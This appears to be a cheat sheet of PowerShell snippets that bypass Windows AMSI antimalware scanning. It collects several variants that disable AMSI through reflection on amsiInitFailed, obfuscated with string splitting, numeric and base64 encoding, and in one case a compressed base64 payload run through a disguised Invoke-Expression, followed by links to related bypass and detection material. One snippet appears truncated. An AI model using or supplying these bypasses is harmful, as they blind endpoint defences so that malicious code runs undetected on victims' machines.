[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html